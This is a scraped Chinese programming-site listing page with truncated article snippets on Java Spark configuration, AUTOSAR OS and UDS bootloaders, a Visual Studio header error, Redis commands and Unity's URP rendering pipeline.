文章浏览阅读153次。中国发达城市榜单每天都在刷新,但无非是北上广轮流坐庄。北京拥有最顶尖的文化资源,上海是“摩登”的国际化大都市,广州是活力四射的千年商都。GDP和发展潜力是衡量城市的数字指...

随便推点

java spark的使用和配置_使用java调用spark注册进去的程序-程序员宅基地

文章浏览阅读3.3k次。前言spark在java使用比较少,多是scala的用法,我这里介绍一下我在项目中使用的代码配置详细算法的使用请点击我主页列表查看版本jar版本说明spark3.0.1scala2.12这个版本注意和spark版本对应,只是为了引jar包springboot版本2.3.2.RELEASEmaven<!-- spark --> <dependency> <gro_使用java调用spark注册进去的程序

汽车零部件开发工具巨头V公司全套bootloader中UDS协议栈源代码,自己完成底层外设驱动开发后,集成即可使用_uds协议栈 源代码-程序员宅基地

文章浏览阅读4.8k次。汽车零部件开发工具巨头V公司全套bootloader中UDS协议栈源代码,自己完成底层外设驱动开发后,集成即可使用,代码精简高效,大厂出品有量产保证。:139800617636213023darcy169_uds协议栈 源代码

AUTOSAR基础篇之OS(下)_autosar 定义了 5 种多核支持类型-程序员宅基地

文章浏览阅读4.6k次,点赞20次,收藏148次。AUTOSAR基础篇之OS(下)前言首先,请问大家几个小小的问题,你清楚:你知道多核OS在什么场景下使用吗?多核系统OS又是如何协同启动或者关闭的呢?AUTOSAR OS存在哪些功能安全等方面的要求呢?多核OS之间的启动关闭与单核相比又存在哪些异同呢?。。。。。。今天,我们来一起探索并回答这些问题。为了便于大家理解,以下是本文的主题大纲:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JCXrdI0k-1636287756923)(https://gite_autosar 定义了 5 种多核支持类型

VS报错无法打开自己写的头文件_vs2013打不开自己定义的头文件-程序员宅基地

文章浏览阅读2.2k次,点赞6次,收藏14次。原因:自己写的头文件没有被加入到方案的包含目录中去,无法被检索到,也就无法打开。将自己写的头文件都放入header files。然后在VS界面上,右键方案名,点击属性。将自己头文件夹的目录添加进去。_vs2013打不开自己定义的头文件

【Redis】Redis基础命令集详解_redis命令-程序员宅基地

文章浏览阅读3.3w次,点赞80次,收藏342次。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。当数据量很大时,count 的数量的指定可能会不起作用,Redis 会自动调整每次的遍历数目。_redis命令

URP渲染管线简介-程序员宅基地

文章浏览阅读449次,点赞3次,收藏3次。URP的设计目标是在保持高性能的同时,提供更多的渲染功能和自定义选项。与普通项目相比,会多出Presets文件夹,里面包含着一些设置,包括本色,声音,法线,贴图等设置。全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,主光源和附加光源在一次Pass中可以一起着色。URP:全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,一次Pass可以计算多个光源。可编程渲染管线:渲染策略是可以供程序员定制的,可以定制的有:光照计算和光源,深度测试,摄像机光照烘焙,后期处理策略等等。_urp渲染管线

推荐文章

热门文章

相关标签